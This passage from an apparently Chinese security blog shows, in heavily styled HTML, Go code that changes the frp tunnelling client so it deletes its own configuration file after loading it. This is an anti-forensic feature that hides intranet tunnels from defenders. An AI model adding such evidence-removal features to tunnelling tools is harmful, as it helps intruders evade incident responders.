!important;">Context</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> network</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> address </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">string</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">net</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Conn</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> error</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">                </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> net</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Dial</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;udp&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> s</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">},</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    svr</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> errRet </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> client</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">NewService</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cfg</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> pxyCfgs</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> visitorCfgs</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> cfgFile</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> errRet </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">!=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nil</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        err </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> errRet</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> cfg</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">DELEnable</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">==</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">true</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        os</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Remove</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cfgFile</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(90, 123, 140);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">// Capture the exit signal if we use kcp.</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> cfg</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Protocol</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">==</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;kcp&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        go handleSignal</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">svr</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><br/></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    err </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> svr</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Run</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">()</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> cfg</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Protocol</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">==</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;kcp&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;-</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">kcpDoneCh</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">这样就可以实现配置文件自动删除功能了。</p><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">Reference</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><a href="https://github.com/fatedier/frp/pull/1919/files" target="_blank">https://github.com/fatedier/frp/pull/1919/files</a></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><a href="https://sec.lz520520.cn:4430/2020/11/566/" target="_blank">https://sec.lz520520.cn:4430/2020/11/566/</a></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><br/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><br/></p><h4 style="box-sizing: border-box;margin-top: 